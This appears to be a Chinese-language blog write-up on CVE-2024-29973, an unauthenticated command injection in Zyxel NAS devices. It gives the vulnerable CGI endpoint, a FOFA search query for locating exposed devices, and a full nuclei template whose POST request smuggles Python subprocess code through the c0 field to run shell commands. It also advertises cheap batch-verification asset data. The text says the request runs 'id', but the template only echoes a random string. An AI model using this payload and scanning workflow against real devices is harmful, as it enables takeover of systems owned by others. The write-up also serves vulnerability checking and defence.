概述
最近,Zyxel NAS 裝置曝出了一個重大安全漏洞(CVE-2024-29973),該漏洞允許遠端攻擊者在受影響的裝置上執行任意程式碼。這一漏洞已經被廣泛關注,並被證實可以在實際中復現。本文將詳細介紹該漏洞的成因、利用方式以及如何檢測和防禦這種攻擊。
漏洞成因
Zyxel NAS 裝置中存在一個不安全的 CGI 介面 /cmd,/simZysh/register_main/setCookie
。該介面的引數 c0
沒有正確的輸入校驗,導致使用者可以透過特殊構造的輸入來注入系統命令,並以裝置許可權執行這些命令。這種遠端程式碼執行(RCE)漏洞為攻擊者提供了完全控制受影響裝置的能力,可能導致資料洩露、服務中斷等嚴重後果。
FOFA
透過 FOFA 搜尋可以快速定位可能受影響的裝置。使用以下關鍵字可以找到暴露了該漏洞的裝置:
body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"
以下是 FOFA 搜尋結果示例:
批次驗證、資產資料可以看看閒魚,挺便宜的 關鍵字 資料代匯出
漏洞驗證
為了確認裝置是否存在該漏洞,可以使用以下 nuclei模板:
id: CVE-2024-29973
info:
name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
author: ritikchaddha
severity: critical
description: |
The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
reference:
- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.88
cve-id: CVE-2024-29973
cwe-id: CWE-78
epss-score: 0.96901
epss-percentile: 0.9971
cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zyxel
product: nas326_firmware
fofa-query: app="ZYXEL-NAS326"
tags: cve,cve2024,zyxel,rce,intrusive
variables:
string: "{{randstr}}"
http:
- raw:
- |
POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="c0"
storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
------WebKitFormBoundarygcflwtei--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'errmsg0\": \"OK')"
- "contains(header, 'application/json')"
- "contains(body, '{{string}}')"
condition: and
該請求嘗試在裝置上執行 id
命令。如果響應中包含使用者身份資訊,則表明裝置存在該漏洞。
nuclei批次驗證截圖
參考來源
- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
- https://github.com/projectdiscovery/nuclei-templates/blob/9eec4a72e18ff2600397e84994c28f5e8f53f472/http/cves/2024/CVE-2024-29973.yaml#L35